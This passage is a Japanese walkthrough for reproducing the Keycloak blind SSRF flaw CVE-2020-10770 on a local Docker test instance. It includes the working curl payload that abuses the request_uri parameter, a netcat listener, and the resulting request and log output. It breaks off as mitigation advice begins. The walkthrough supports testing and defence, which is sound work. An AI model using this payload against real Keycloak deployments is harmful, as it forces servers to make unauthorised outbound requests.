
KeycloakのブラインドSSRF脆弱性(CVE-2020-10770)を再現するためのステップバイステップガイド。Dockerセットアップ、リスナー設定、緩和策のアドバイスを含みます。
これは、Lauritz Holtmann氏が発見し、彼のブログ記事で文書化したBlind SSRF (CVE-2020-10770)のテスト方法に関するステップバイステップの解説です。 彼はまた、テスト方法を簡単に説明しています。これは、より詳細な説明です。
すべての功績はLauritz氏に帰属します。
ここではMac OSX上のDockerを使用します。 3つのシェルが必要です。1つはKeycloakインスタンスを実行するもの、1つはリスナー用、もう1つはcurlリクエスト用です。
バージョン <= 12.0.1 の実行中のKeycloakインスタンスが必要です。 以下のコマンドでテストインスタンスを起動できます。
docker run -p 9990:9990 -p 8080:8080 -e KEYCLOAK_USER=admin -e KEYCLOAK_PASSWORD=admin jboss/keycloak:12.0.1
ブラウザで http://localhost:8080/auth/admin/ にアクセスし、ユーザー名「admin」、パスワード「admin」でログインします。
左側のメニューで「Clients」に切り替えます。これでClientsの概要画面が表示されます。

右側の「Create」をクリックして、新しいクライアントを作成します。これでクライアント作成ページが表示されます。

Oauth2クライアントに適切な「Client ID」を選択します。ここでは「blueteamoauth2client」を使用します(これがあなたの<Keycloak_Client_ID>です)。別のClient IDを使用する場合は、攻撃用HTTPリクエスト内のクエリパラメータを変更する必要があります。「Save」をクリックしてクライアントのセットアップを完了します。

これで、新しいOauth2クライアントの設定が表示されます。

防御側の設定は以上です。
SSRFでトリガーしたいリクエストを受け付けるリスナーが必要です。したがって、IPとポートはKeycloakサーバーから到達可能である必要があります。 この場合、localhostは使用できません。Keycloakの視点から見ると、localhostはコンテナ自体を指すからです。 Mac OSでIPアドレスを取得するには、以下を使用できます。
for iface in $(ifconfig | grep ^en | awk -F\: {'print $1'}); do ipconfig getifaddr $iface; done
私はホストシステム上のポート4444でリスナーを起動することにしました。
nc -v -l 4444
別のシェルで、curlを使用して1つのリクエストを実行する必要があります。これはあなたの要件に合わせて変更する必要があります。
curl "http://<Keycloak_host_or_ip>:<Keycloak_port>/auth/realms/<Keycloak_realm>/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=<Keycloak_Client_ID>&request_uri=http://<Netcat_listener_ip>:<Netcat_listener_port>/"
重要な部分は以下の通りです:
したがって、私の場合のクエリは以下の通りです。
curl "http://localhost:8080/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=blueteamoauth2client&request_uri=http://192.168.178.222:4444/"
netcatリスナーには、次のような出力が表示されます。
bash-3.2$ nc -v -l 4444
GET / HTTP/1.1
Host: 192.168.178.222:4444
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.13 (Java/11.0.9.1)
Accept-Encoding: gzip,deflate
bash-3.2$
これは、Keycloakインスタンスがあなたのリスナーに対してHTTPコールを実行したことを意味します。
Keycloakのログにも、これに関するエントリが記録されます。
13:37:28,855 WARN [org.keycloak.services] (default task-16) KC-SERVICES0097: Invalid request: java.net.SocketTimeoutException: Read timed out
at java.base/java.net.SocketInputStream.socketRead0(Native Method)
at java.base/java.net.SocketInputStream.socketRead(SocketInputStream.java:115)
(...)
13:37:28,877 WARN [org.keycloak.events] (default task-16) type=LOGIN_ERROR, realmId=master, clientId=blueteamoauth2client, userId=null, ipAddress=172.17.0.1, error=invalid_request
これを緩和するには、以下のいずれかを実行できます。